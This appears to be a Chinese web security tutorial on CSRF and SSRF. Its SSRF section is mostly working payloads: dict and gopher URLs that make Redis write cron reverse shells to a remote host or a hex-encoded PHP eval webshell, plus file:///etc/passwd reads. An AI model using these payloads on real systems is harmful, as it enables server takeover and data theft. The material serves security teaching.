WEB安全--CSRF&SSRF

一、CSRF

1.1、原理

跨站点请求伪造---攻击者诱导用户在已认证的web应用中执行非法操作,通过构造虚假的网页并在该网页中植入危险脚本,受害者在不知情的情况下进入该网页,网页就会盗用受害者浏览器中的session或cookie执行危险命令,可以你的名义发送邮件,发消息,盗用你的账号,甚至于购买商品,虚拟货币转账等。

1.2、防御手段

1、验证 HTTP Referer 字段(可绕过)

2、请求地址中添加 token 并验证(不可绕过)

二、SSRF

2.1、原理

服务端请求伪造---攻击者利用服务器向内部或外部服务器系统发起恶意请求,主要是攻击内网资源或远程服务器,可导致内部信息泄露、服务瘫痪和数据篡改。

2.2、Redis与部分协议介绍

2.2.1、Redis

Redis的特征:

Redis是非关系型数据库,数据存储在内存中所以读取速度比关系型数据库更快,通常作为缓存使用;不过这个特性也伴有极大的风险:如果服务器停止运行,内存中的数据就会全部丢失。

所以为了数据安全,Redis催生出了持久化功能:把内存数据写入硬盘中永久落盘,且管理员能够定义写入文件的路径和文件(config set)。

Redis的协议数据流格式(CR LF表示的就是\r \n):

*<参数数量> CR LF

$<参数 1 的字节数量> CR LF

<参数 1 的数据> CR LF

......

$<参数 N 的字节数量> CR LF

<参数 N 的数据> CR LF

示例:

*4:表示4个参数 config、set、dir、/var/www/html

$6:表示每个参数的字节长度 config长度为6

*4

$6

config

$3

set

$3

dir

$13

/var/www/html

2.2.2、Gopher协议

简介:

gopher支持发出GET、POST请求。可以先截获get请求包和post请求包,再构造成符合gopher协议的请求,gopher协议是ssrf利用中一个最强大的协议(俗称万能协议)

用法:

gopher协议数据格式:gopher://ip:port/_TCP/IP数据流

  • gopher协议数据流中,url编码使用%0d%0a替换字符串中的回车换行
  • 数据流末尾使用%0d%0a代表消息结束

2.2.3、file协议

简介:

file协议主要用于读取服务器本地文件,访问本地的静态资源

用法:

file://文件绝对路径名

http://127.0.0.1/web.html?url=file://文件绝对路径名

file:///etc/passwd

file:///var/www/html/index.php

file:///usr/local/apache-tomcat/conf/server.xml

2.2.4、dict协议

简介:

dict协议一般常用来探测内网主机以及端口开放情况,既然能够探测端口,那么可以探测不同端口对应的服务的指纹信息。

当然dict协议也可以用来执行一些服务的命令,如redis

用法:

ditc://ip:port

ditc://ip:port/命令

  • 内网主机探测
  • 开放端口探测
  • 端口服务指纹探测
  • 执行命令

注意:dict执行命令多行操作的命令时,只能一次执行单行,需分多次执行。

2.3、SSRF攻击

2.3.1、dict&Redis

一、dict协议探测端口和服务指纹

dict://127.0.0.1:22

dict://172.22.10.10:3306

dict://127.0.0.1:6379/info

WEB安全--CSRF&SSRF_第1张图片


二、dict协议攻击redis,写入定时任务,进行反弹shell centos系统定时任务的路径为:/var/spool/cron debian系统定时任务的路径为:/var/spool/cron/crontabs

dict://127.0.0.1:6379/config:set:dbfilename:root

dict://127.0.0.1:6379/config:set:dir:/var/spool/cron

dict://127.0.0.1:6379/set:test:"\n\n*/1 * * * * /bin/bash -i >& /dev/tcp/10.10.10.10/1234 0>&1\n\n"

dict://127.0.0.1:6379/save

若payload存在被转义或过滤的情况,可利用16进制写入内容 dict://127.0.0.1:6379/set:test:"\n\n\x2a/1\x20\x2a\x20\x2a\x20\x2a\x20\x2a\x20/bin/bash\x20\x2di\x20\x3e\x26\x20/dev/tcp/10.10.10.10/1234\x200\x3e\x261\n\n"


三、dict协议攻击redis,写入webshell

dict://127.0.0.1:6379/config:set:dbfilename:test.php

dict://127.0.0.1:6379/config:set:dir:/var/www/html

dict://127.0.0.1:6379/set:test:"\n\n\n\n"

dict://127.0.0.1:6379/save

若存在过滤, 则利用16进制内容写入: dict://127.0.0.1:6379/set:test:"\n\n\x3c\x3f\x70\x68\x70\x20\x40\x65\x76\x61\x6c\x28\x24\x5f\x50\x4f\x53\x54\x5b\x78\x5d\x29\x3b\x3f\x3e\n\n"


四、dict协议攻击redis,写入ssh公钥 操作和写入定时任务相似

2.3.2、Gopher&Redis

一、Gopher协议写入反弹shell

Redis原始命令:

*3

$3

set

$3

ttt

$69

*/1 * * * * bash -i >& /dev/tcp/xxx.xx.xxx.xx/1444 0>&1

*4

$6

config

$3

set

$3

dir

$16

/var/spool/cron/

*4

$6

config

$3

set

$10

dbfilename

$4

root

*1

$4

save

*1

$4

quit

Gopher数据流:

gopher://127.0.0.1:6379/_*3%0d%0a$3%0d%0aset%0d%0a$3%0d%0attt%0d%0a$69%0d%0a%0a%0a%0a*/1 * * * * bash -i >& /dev/tcp/xxx.xx.xxx.xx/1444 0>&1%0a%0a%0a%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0a*1%0d%0a$4%0d%0aquit%0d%0a

注意:这里还需要将Gopher数据流再进行一次URL编码再传递给Redis服务端处理


二、Gopher协议写入公钥实现ssh免密登录

路径:/root/.ssh/authorized_keys

步骤与上面相同,略


2.3.3、Gopherus工具构造gopher协议数据流

使用手动构造比较麻烦,存在一定的失误率,使用gopherus这款工具进行自动化生成payload。该工具支持生成多种服务利用的payload,其中包括了redis、mysql、fastcgi等

工具链接:

https://github.com/tarunkant/Gopherus

将生成的payload二次编码后放到数据包中的“url=”位置发包也能实现相同效果。

你可能感兴趣的:(内网渗透,web安全,csrf,ssrf)